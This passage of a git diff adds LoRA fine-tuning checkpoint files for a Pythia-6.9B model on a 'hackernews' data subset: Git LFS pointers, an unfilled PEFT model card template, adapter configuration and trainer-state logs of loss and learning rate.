"should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3277214397235200.0, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-20/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..b79dd622e0e0f738059bd0f5b5dc3a10ebdda2a5 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:d6aaf71f125af9ffe561590944ccdef568bdccd4776ae6ed8ed5100b2ab35727 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..fe6c6176c6dab592352f5c532045bc1d308c6631 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:4e1e7a3ad8928c0f9aba8b4a50e2dbbc8f24b3e734b1b890f00b5fdab15c1ddd +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..da263858f32b7536e68a33626ef41e3ef7a44689 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:0dbbe288070e588c7effbe11249d330a3ad16131211e6b5dff1d03a8ebc7517f +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..0fc1f2bea0ca1c9908bf307e3525efa76fd70425 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e5b7dec72c2b7f015512ea839980ec16d0582c7e6d0689dad8794261e73838b6 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..b38b5abf9e3351087582abbd50b5b9d48ccc7715 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/trainer_state.json @@ -0,0 +1,333 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.6666666666666665, + "eval_steps": 10, + "global_step": 200, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + "eval_runtime": 43.7907, + "eval_samples_per_second": 22.836, + "eval_steps_per_second": 2.854, + "step": 110 + }, + { + "epoch": 1.6, + "grad_norm": 0.818680465221405, + "learning_rate": 6.577777777777777e-05, + "loss": 2.4227, + "step": 120 + }, + { + "epoch": 1.6, + "eval_loss": 2.5338823795318604, + "eval_runtime": 43.7818, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 120 + }, + { + "epoch": 1.7333333333333334, + "grad_norm": 0.8839734196662903, + "learning_rate": 6.45925925925926e-05, + "loss": 2.4284, + "step": 130 + }, + { + "epoch": 1.7333333333333334, + "eval_loss": 2.534684658050537, + "eval_runtime": 43.7829, + "eval_samples_per_second": 22.84, + "eval_steps_per_second": 2.855, + "step": 130 + }, + { + "epoch": 1.8666666666666667, + "grad_norm": 0.7506110072135925, + "learning_rate": 6.340740740740741e-05, + "loss": 2.4042, + "step": 140 + }, + { + "epoch": 1.8666666666666667, + "eval_loss": 2.5374648571014404, + "eval_runtime": 43.7868, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 140 + }, + { + "epoch": 2.0, + "grad_norm": 0.790181040763855, + "learning_rate": 6.222222222222223e-05, + "loss": 2.4382, + "step": 150 + }, + { + "epoch": 2.0, + "eval_loss": 2.5376830101013184, + "eval_runtime": 43.776, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.855, + "step": 150 + }, + { + "epoch": 2.1333333333333333, + "grad_norm": 0.8619416952133179, + "learning_rate": 6.103703703703704e-05, + "loss": 2.2852, + "step": 160 + }, + { + "epoch": 2.1333333333333333, + "eval_loss": 2.557069778442383, + "eval_runtime": 43.8054, + "eval_samples_per_second": 22.828, + "eval_steps_per_second": 2.854, + "step": 160 + }, + { + "epoch": 2.2666666666666666, + "grad_norm": 1.1197975873947144, + "learning_rate": 5.9851851851851855e-05, + "loss": 2.266, + "step": 170 + }, + { + "epoch": 2.2666666666666666, + "eval_loss": 2.578442096710205, + "eval_runtime": 43.8144, + "eval_samples_per_second": 22.824, + "eval_steps_per_second": 2.853, + "step": 170 + }, + { + "epoch": 2.4, + "grad_norm": 1.2004913091659546, + "learning_rate": 5.8666666666666665e-05, + "loss": 2.3007, + "step": 180 + }, + { + "epoch": 2.4, + "eval_loss": 2.582598924636841, + "eval_runtime": 43.7743, + "eval_samples_per_second": 22.844, + "eval_steps_per_second": 2.856, + "step": 180 + }, + { + "epoch": 2.533333333333333, + "grad_norm": 1.2376835346221924, + "learning_rate": 5.748148148148149e-05, + "loss": 2.276, + "step": 190 + }, + { + "epoch": 2.533333333333333, + "eval_loss": 2.586012840270996, + "eval_runtime": 43.82, + "eval_samples_per_second": 22.821, + "eval_steps_per_second": 2.853, + "step": 190 + }, + { + "epoch": 2.6666666666666665, + "grad_norm": 1.3492048978805542, + "learning_rate": 5.62962962962963e-05, + "loss": 2.2448, + "step": 200 + }, + { + "epoch": 2.6666666666666665, + "eval_loss": 2.587860345840454, + "eval_runtime": 43.834, + "eval_samples_per_second": 22.813, + "eval_steps_per_second": 2.852, + "step": 200 + } + ], + "logging_steps": 10, + "max_steps": 675, + "num_input_tokens_seen": 0, + "num_train_epochs": 9, + "save_steps": 10, + "stateful_callbacks": { + "TrainerControl": { + "args": { + "should_epoch_stop": false, + "should_evaluate": false, + "should_log": false, + "should_save": true, + "should_training_stop": false + }, + "attributes": {} + } + }, + "total_flos": 3.2772143972352e+16, + "train_batch_size": 8, + "trial_name": null, + "trial_params": null +} diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/training_args.bin b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/training_args.bin new file mode 100644 index 0000000000000000000000000000000000000000..68b02330a1195a7529b7c5ac3d2074dca7a8843d --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-200/training_args.bin @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:5276490505c682789e6f542349fd3b486cf3586ea6a988c79078113f82ac15c0 +size 4859 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/README.md b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/README.md new file mode 100644 index 0000000000000000000000000000000000000000..e255b1d99c1c1d12955d852dc1056813be7ffca0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/README.md @@ -0,0 +1,202 @@ +--- +base_model: /workspace/pythia-6_9b +library_name: peft +--- + +# Model Card for Model ID + + + + + +## Model Details + +### Model Description + + + + + +- **Developed by:** [More Information Needed] +- **Funded by [optional]:** [More Information Needed] +- **Shared by [optional]:** [More Information Needed] +- **Model type:** [More Information Needed] +- **Language(s) (NLP):** [More Information Needed] +- **License:** [More Information Needed] +- **Finetuned from model [optional]:** [More Information Needed] + +### Model Sources [optional] + + + +- **Repository:** [More Information Needed] +- **Paper [optional]:** [More Information Needed] +- **Demo [optional]:** [More Information Needed] + +## Uses + + + +### Direct Use + + + +[More Information Needed] + +### Downstream Use [optional] + + + +[More Information Needed] + +### Out-of-Scope Use + + + +[More Information Needed] + +## Bias, Risks, and Limitations + + + +[More Information Needed] + +### Recommendations + + + +Users (both direct and downstream) should be made aware of the risks, biases and limitations of the model. More information needed for further recommendations. + +## How to Get Started with the Model + +Use the code below to get started with the model. + +[More Information Needed] + +## Training Details + +### Training Data + + + +[More Information Needed] + +### Training Procedure + + + +#### Preprocessing [optional] + +[More Information Needed] + + +#### Training Hyperparameters + +- **Training regime:** [More Information Needed] + +#### Speeds, Sizes, Times [optional] + + + +[More Information Needed] + +## Evaluation + + + +### Testing Data, Factors & Metrics + +#### Testing Data + + + +[More Information Needed] + +#### Factors + + + +[More Information Needed] + +#### Metrics + + + +[More Information Needed] + +### Results + +[More Information Needed] + +#### Summary + + + +## Model Examination [optional] + + + +[More Information Needed] + +## Environmental Impact + + + +Carbon emissions can be estimated using the [Machine Learning Impact calculator](https://mlco2.github.io/impact#compute) presented in [Lacoste et al. (2019)](https://arxiv.org/abs/1910.09700). + +- **Hardware Type:** [More Information Needed] +- **Hours used:** [More Information Needed] +- **Cloud Provider:** [More Information Needed] +- **Compute Region:** [More Information Needed] +- **Carbon Emitted:** [More Information Needed] + +## Technical Specifications [optional] + +### Model Architecture and Objective + +[More Information Needed] + +### Compute Infrastructure + +[More Information Needed] + +#### Hardware + +[More Information Needed] + +#### Software + +[More Information Needed] + +## Citation [optional] + + + +**BibTeX:** + +[More Information Needed] + +**APA:** + +[More Information Needed] + +## Glossary [optional] + + + +[More Information Needed] + +## More Information [optional] + +[More Information Needed] + +## Model Card Authors [optional] + +[More Information Needed] + +## Model Card Contact + +[More Information Needed] +### Framework versions + +- PEFT 0.13.2 \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_config.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_config.json new file mode 100644 index 0000000000000000000000000000000000000000..542f584a2a027304327916d01b73120e8cef2575 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_config.json @@ -0,0 +1,31 @@ +{ + "alpha_pattern": {}, + "auto_mapping": null, + "base_model_name_or_path": "/workspace/pythia-6_9b", + "bias": "none", + "fan_in_fan_out": false, + "inference_mode": true, + "init_lora_weights": true, + "layer_replication": null, + "layers_pattern": null, + "layers_to_transform": null, + "loftq_config": {}, + "lora_alpha": 32, + "lora_dropout": 0.1, + "megatron_config": null, + "megatron_core": "megatron.core", + "modules_to_save": null, + "peft_type": "LORA", + "r": 8, + "rank_pattern": {}, + "revision": null, + "target_modules": [ + "dense", + "query_key_value", + "dense_h_to_4h", + "dense_4h_to_h" + ], + "task_type": "CAUSAL_LM", + "use_dora": false, + "use_rslora": false +} \ No newline at end of file diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_model.safetensors b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_model.safetensors new file mode 100644 index 0000000000000000000000000000000000000000..882f0381405b2b0cc76dfe1d413936b89918fb8e --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/adapter_model.safetensors @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:8ab0ff074d042d60acbab3a76d4b7afb9be6609172a7f9ec305ca7af59b7e478 +size 67144544 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/optimizer.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/optimizer.pt new file mode 100644 index 0000000000000000000000000000000000000000..629f863be26419af7632e59eb81a8410cfe06bd0 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/optimizer.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:e759e573557130b6e4b66f2cbcbdf5d06411db5ca2cc28ab1df716bcd1da24b0 +size 134432453 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/rng_state.pth b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/rng_state.pth new file mode 100644 index 0000000000000000000000000000000000000000..605214081e6b3060d6c3e526fc86e8b8fff3c71b --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/rng_state.pth @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:cd4e0019fadc179e2ea531ff33d86db759cb80e64a8826bb6bfa90c2483bfc04 +size 14575 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/scheduler.pt b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/scheduler.pt new file mode 100644 index 0000000000000000000000000000000000000000..3b44a2b0d3df617f15242e2d4ea4d5553b544573 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/scheduler.pt @@ -0,0 +1,3 @@ +version https://git-lfs.github.com/spec/v1 +oid sha256:6c59d7cb173602f981a42f5fe61d72e03c87c9f97f456afe9fd66cd09957f177 +size 627 diff --git a/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/trainer_state.json b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/trainer_state.json new file mode 100644 index 0000000000000000000000000000000000000000..d572ef3f008de4afd480f68bd5d6d590d6515b44 --- /dev/null +++ b/output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-210/trainer_state.json @@ -0,0 +1,348 @@ +{ + "best_metric": 2.526639699935913, + "best_model_checkpoint": "./output_ft_more_layers_hackernews_epoch_9_mlp/pythia-6_9b-member-6_9b-epoch-9-pile-full-600-subsets-hackernews-8e-05/checkpoint-80", + "epoch": 2.8, + "eval_steps": 10, + "global_step": 210, + "is_hyper_param_search": false, + "is_local_process_zero": true, + "is_world_process_zero": true, + "log_history": [ + { + "epoch": 0.13333333333333333, + "grad_norm": 0.37438902258872986, + "learning_rate": 7.881481481481482e-05, + "loss": 2.522, + "step": 10 + }, + { + "epoch": 0.13333333333333333, + "eval_loss": 2.5468266010284424, + "eval_runtime": 44.0007, + "eval_samples_per_second": 22.727, + "eval_steps_per_second": 2.841, + "step": 10 + }, + { + "epoch": 0.26666666666666666, + "grad_norm": 0.35912272334098816, + "learning_rate": 7.762962962962963e-05, + "loss": 2.4874, + "step": 20 + }, + { + "epoch": 0.26666666666666666, + "eval_loss": 2.54296612739563, + "eval_runtime": 43.8115, + "eval_samples_per_second": 22.825, + "eval_steps_per_second": 2.853, + "step": 20 + }, + { + "epoch": 0.4, + "grad_norm": 0.3801650404930115, + "learning_rate": 7.644444444444445e-05, + "loss": 2.4972, + "step": 30 + }, + { + "epoch": 0.4, + "eval_loss": 2.5399742126464844, + "eval_runtime": 43.8681, + "eval_samples_per_second": 22.796, + "eval_steps_per_second": 2.849, + "step": 30 + }, + { + "epoch": 0.5333333333333333, + "grad_norm": 0.3593173325061798, + "learning_rate": 7.525925925925926e-05, + "loss": 2.4633, + "step": 40 + }, + { + "epoch": 0.5333333333333333, + "eval_loss": 2.535550832748413, + "eval_runtime": 43.7847, + "eval_samples_per_second": 22.839, + "eval_steps_per_second": 2.855, + "step": 40 + }, + { + "epoch": 0.6666666666666666, + "grad_norm": 0.37406498193740845, + "learning_rate": 7.407407407407409e-05, + "loss": 2.4329, + "step": 50 + }, + { + "epoch": 0.6666666666666666, + "eval_loss": 2.533135175704956, + "eval_runtime": 43.9186, + "eval_samples_per_second": 22.769, + "eval_steps_per_second": 2.846, + "step": 50 + }, + { + "epoch": 0.8, + "grad_norm": 0.3373793661594391, + "learning_rate": 7.28888888888889e-05, + "loss": 2.5159, + "step": 60 + }, + { + "epoch": 0.8, + "eval_loss": 2.5308544635772705, + "eval_runtime": 43.8596, + "eval_samples_per_second": 22.8, + "eval_steps_per_second": 2.85, + "step": 60 + }, + { + "epoch": 0.9333333333333333, + "grad_norm": 0.3410486876964569, + "learning_rate": 7.170370370370371e-05, + "loss": 2.4616, + "step": 70 + }, + { + "epoch": 0.9333333333333333, + "eval_loss": 2.528620958328247, + "eval_runtime": 43.7873, + "eval_samples_per_second": 22.838, + "eval_steps_per_second": 2.855, + "step": 70 + }, + { + "epoch": 1.0666666666666667, + "grad_norm": 0.3606584966182709, + "learning_rate": 7.051851851851853e-05, + "loss": 2.4756, + "step": 80 + }, + { + "epoch": 1.0666666666666667, + "eval_loss": 2.526639699935913, + "eval_runtime": 43.8095, + "eval_samples_per_second": 22.826, + "eval_steps_per_second": 2.853, + "step": 80 + }, + { + "epoch": 1.2, + "grad_norm": 0.4812467098236084, + "learning_rate": 6.933333333333334e-05, + "loss": 2.3706, + "step": 90 + }, + { + "epoch": 1.2, + "eval_loss": 2.5288808345794678, + "eval_runtime": 43.7806, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 90 + }, + { + "epoch": 1.3333333333333333, + "grad_norm": 0.5975897312164307, + "learning_rate": 6.814814814814815e-05, + "loss": 2.4033, + "step": 100 + }, + { + "epoch": 1.3333333333333333, + "eval_loss": 2.532658576965332, + "eval_runtime": 43.7811, + "eval_samples_per_second": 22.841, + "eval_steps_per_second": 2.855, + "step": 100 + }, + { + "epoch": 1.4666666666666668, + "grad_norm": 0.629486620426178, + "learning_rate": 6.696296296296296e-05, + "loss": 2.4018, + "step": 110 + }, + { + "epoch": 1.4666666666666668, + "eval_loss": 2.533242702484131, + 